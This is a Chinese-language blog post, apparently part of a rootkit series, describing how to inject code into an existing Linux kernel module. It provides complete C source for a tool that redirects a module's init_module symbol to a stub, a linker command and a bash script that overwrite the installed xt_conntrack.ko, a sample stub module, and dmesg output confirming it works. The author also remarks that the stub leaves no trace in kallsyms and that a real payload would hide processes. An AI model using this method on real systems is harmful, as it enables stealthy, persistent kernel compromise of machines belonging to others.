將你的Rootkit代碼注入到一個Linux內核模塊

前段時間從完成“實時獲取系統中TCP半連接數量”這個永遠無法上線的半吊子需求開始,一發不可收拾地栽進了Rootkit深坑,有點走火入魔,寫了好多篇這方面的隨筆並結識了很多朋友,感覺不錯。

前面的系列文章中,大多數都是描述某個技術點的,而你想利用這個技術點做點實際的好事或者壞事,其實還有一段很長距離的路要走,比如:

  • 誰給你的root權限?
  • 你會編程並且編寫Linux內核模塊嗎?
  • 系統中有gcc和make嗎?
  • 內核模塊要求籤名驗證嗎?
  • 經理姓劉嗎?或者經理姓吳嗎?

以上的每一個單點都是易守難攻,所以說,把自己的Rootkit代碼注入系統還是頗有難度的。

本文介紹一種簡單的注入方法,即 將你的Rootkit代碼注入到一個現有的Linux內核模塊中。

很多初學者都幹過一件事,即 修改ELF文件或者PE文件的入口函數,讓它跳到自己的邏輯。

想做到這個其實很容易,將我們自己的stub obj文件link到既有的可執行文件,然後修改文件的entry即可。只要手邊有ELF文件或者PE文件的手冊,還有什麼不能改的呢。

有趣的是,對於Linux內核模塊的注入,要比上面可執行文件的注入容易得多!

  • 因爲Linux內核模塊根本不靠entry來確定入口,而是依靠init_module symbol確定入口的。

本文以一種輕鬆的方式敘述,和以往一樣,依然不分析內核源碼,我希望通過小實驗來描述我想表達的東西。

Linux內核模塊遵循了ELF文件格式,但是卻自定義了加載和執行邏輯。

簡單來講,一個內核模塊是通過查找init_module符號來定位入口的,而init_module則屬於一個重定位section:

重定位節 '.rela.gnu.linkonce.this_module' 位於偏移量 0xea20 含有 2 個條目:
  偏移量          信息           類型           符號值        符號名稱 + 加數
000000000128  004500000001 R_X86_64_64       0000000000000017 init_module + 0
000000000228  004100000001 R_X86_64_64       0000000000000000 cleanup_module + 0

無論哪個模塊都是這樣。所謂的重定位段,就是在ELF中無法確認其地址,它的最終加載地址需要通過 重定位技術 來搞定。

init_module其實就是內核模塊init函數的別名,重定位過程中它的最終地址由其在符號表的表項st_value字段決定!

當我們通過readelf -s讀取一個內核模塊文件時,我們會發現init_module:

    39: 0000000000000000    18 FUNC    GLOBAL DEFAULT    4 init_module

第二列那個全0的u64值就是它的st_value。

事情變得簡單且有趣,我們只需要將init_module這個符號的st_value改成另一個函數func_stub符號的st_value,那麼當模塊加載時,就會調用func_stub了。通過ELF的格式解析,做到這個簡直太容易了。

現在的問題是,如何把另一個函數func_stub塞進一個既有的內核模塊呢?

這個倒也不難,用ld即可:

ld -r $(既有模塊) $(hook模塊) -o $(新模塊)

最後,我們就可以去修改新模塊的符號表項的st_value字段了,解析ELF文件即可完成任務。

首先給出我用來修改符號表項st_value字段的程序源碼:

// modsym.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <elf.h>

int main(int argc, char **argv)
{
	int fd;
	char *mod;
	char *orig_func_name, *stub_func_name;
	unsigned int size, i, j, shn, n;
	Elf64_Sym *syms, *sym, *init, *hook, *dup;
	Elf64_Shdr *shdrs, *shdr;
	Elf64_Ehdr *ehdr;
	const char *strtab;

	init = hook = dup = NULL;
	orig_func_name = argv[2];
	stub_func_name = argv[3];

	fd = open(argv[1], O_RDWR);
	size = lseek(fd, 0L, SEEK_END);
	mod = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);

	ehdr = (Elf64_Ehdr *)mod;
	shdrs = (Elf64_Shdr *)(mod + ehdr->e_shoff);
	shn = ehdr->e_shnum == 0 ? shdrs[0].sh_size : ehdr->e_shnum;

	for (i = 0; i < shn; i++) {
		shdr = &shdrs[i];
		if (shdr->sh_type == SHT_SYMTAB || shdr->sh_type == SHT_DYNSYM) {
			syms = (Elf64_Sym *)(mod + shdr->sh_offset);
			strtab = mod + shdrs[shdr->sh_link].sh_offset;
			n = shdr->sh_size / shdr->sh_entsize;
			for (j = 0; j < n; j++) {
				char stype;

				sym = &syms[j];
				stype = ELF64_ST_TYPE(sym->st_info);
				if (stype == STT_FUNC || stype == STT_NOTYPE) {
					if (!strcmp(strtab + sym->st_name, "init_module")) {
						init = sym;
					}
					if (!strcmp(strtab + sym->st_name, stub_func_name)) {
						hook = sym;
					}
				}
				if (stype == STT_NOTYPE) {
					if (!strcmp(strtab + sym->st_name, orig_func_name)) {
						dup = sym;
					}
				}
			}
			if (init && hook) {
				break;
			}
		}
	}
	if (init && hook) {
		if (dup) {
			// 清理掉已經無用的extern符號
			memcpy(dup, init, sizeof(Elf64_Sym));
		}
		printf("   @@@@@@@@ init func  :%s  %d  %d\n", strtab + init->st_name, ELF64_ST_BIND(init->st_info), STB_GLOBAL);
		init->st_value = hook->st_value;
	}
	munmap(mod, size);
}

代碼很直接,就是找到init_module和我們的hook函數這兩個符號項,用hook函數的st_value替換init_module的原始st_value,同時我們需要將stub模塊裏的extern符號清除掉。

來吧,讓我們開始。

首先確認我們要注入的內核模塊,我以下面的模塊爲例來實施注入:

/lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko

下面是一個腳本:

#!/bin/bash
# 備份,防止失敗。
cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko.bak

# 用舊的模塊做實驗。
cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko.bak /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko

# 合併stub模塊到xt_conntrack.ko。
ld -r /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko ./stub.ko -o /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko

# 修改新模塊中的符號表項。
./modsym /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko conntrack_mt_init test_stub

# 用被注入的模塊作爲系統默認模塊。
cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko
sync

在我的實驗裏,我只是爲xt_conntrack.ko增加了一個模塊參數,並且在加載這個模塊前將其打印出來:

// stub.c
#include <linux/module.h>

extern int conntrack_mt_init(void);

int aaaa = 123;
module_param(aaaa, uint, 0444);
MODULE_PARM_DESC(aaaa, "......");

int __init test_stub(void)
{
	printk("i am a stub, and my value is %d\n", aaaa);
	return conntrack_mt_init();
}

MODULE_LICENSE("GPL");

來來來,看效果:

[root@localhost test]# dmesg -c
[root@localhost test]# service firewalld stop
Redirecting to /bin/systemctl stop firewalld.service
[root@localhost test]# service firewalld start
Redirecting to /bin/systemctl start firewalld.service
[root@localhost test]# dmesg
[ 8019.300351] Ebtables v2.0 unregistered
[ 8026.911602] ip_tables: (C) 2000-2006 Netfilter Core Team
[ 8026.933152] ip6_tables: (C) 2000-2006 Netfilter Core Team
[ 8026.958643] Ebtables v2.0 registered
[ 8026.991342] nf_conntrack version 0.5.0 (7941 buckets, 31764 max)
[ 8027.224429] i am a stub, and my value is 123
[root@localhost test]# cat /sys/module/xt_conntrack/parameters/aaaa
123

哈哈,成功爲xt_conntrack模塊增加了一個參數aaaa,並在其init函數conntrack_mt_init被調用前打印了一句話以及aaaa的值。

如前面的系列文章,我們當然不可能在stub函數裏做這麼簡單的事啊,至少也要隱藏個進程,inline hook啥的。值得注意的是,我們的stub函數是_init修飾的,這意味着當它調用結束後,其內存將被清理掉,不留痕跡:

[root@localhost test]# cat /proc/kallsyms |grep test_stub
[root@localhost test]# echo $?
1

好玩嗎?


我們把ELF文件的各個組成部分看作樂高玩具的話,我們甚至不需要拆解各個細節,單靠重新排列組合就可以構建出各種有趣的東西。

本文介紹的方法是 不需要編程的。 這是我等不懂編程的人的福音!modsym.c確實是一段C代碼,但這並不算真正的編程,這只是生產工具的構建,而且這種代碼,網上多得是。

經理呢?經理呢?


浙江溫州皮鞋溼,下雨進水不會胖。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章